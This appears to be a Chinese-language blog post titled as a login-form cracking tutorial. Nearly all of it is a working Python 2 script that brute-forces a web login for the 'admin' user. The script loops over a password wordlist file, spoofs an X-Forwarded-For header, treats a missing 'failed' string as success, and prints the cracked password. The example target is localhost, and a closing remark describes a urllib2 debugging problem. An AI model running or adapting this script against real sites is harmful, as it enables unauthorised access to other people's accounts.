登陆表单破解

#! /usr/bin/env python
# coding:utf-8
'''
登陆表单暴力破解
Date: 2017/3/12
'''
import urllib, urllib2, time

url = 'http://127.0.0.1/login.php'
UserAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3004.3 Safari/537.36'
xff = '127.0.0.1'
AcceptEncoding = 'gzip, deflate, sdch'

username = 'admin'
pwdPath = 'f:\\py_code\\pwd.txt'
identify = 'failed'    # 登录失败特征

def getPwdList(pwdPath):
    # 构建字典列表
    try:
        fopen = open(pwdPath)
        pwdList = [x.strip('\n') for x in fopen.readlines()]
        print '字典加载成功,总有%s条密码' % len(pwdList)
        return pwdList
    except Exception, msg:
        print '字典加载错误: %s' % msg

def makeReq(url, UserAgent, xff, AcceptEncoding):
    # 构造Request请求
    req = urllib2.Request(url)
    req.add_header('User-Agent', UserAgent)
    req.add_header('X-Forwarded-For', xff)
    req.add_header('Accept-Encoding', AcceptEncoding)
    return req

def login(req, username, password, identify):
    # 表单登陆
    params = {}
    params['passwd'] = password
    params['user'] = username
    data = urllib.urlencode(params)
    req.add_data(data)
    try:
        res = urllib2.urlopen(req)
        html_text = res.read()
        # print html_text
        if html_text.find(identify) == -1:
            return True
    except Exception, msg:
        print '网页打开错误: %s' % msg
        # print res.read()
        # print res.getcode()
        # print res.geturl()

pwdL = getPwdList(pwdPath)  # 密码字典列表
start_time = time.time()
for password in pwdL:
    req = makeReq(url, UserAgent, xff, AcceptEncoding)
    print '正在尝试 %s:%s' % (username, password)
    login_result = login(req=req, username=username, password=password, identify=identify)
    if login_result == True:
        spent_time = time.time() - start_time
        print '破解成功,密码为: %s ' % password
        print '耗时: %s 秒' % spent_time
        break

遇到的坑:
urllib2.Request对象生成后不要多次open,有大问题,调了一下午的大问题,不知为何,于是只能傻傻的一个open对应一个Request。很坑,调到心态爆炸,下次考虑用requests写了。

标签: none

添加新评论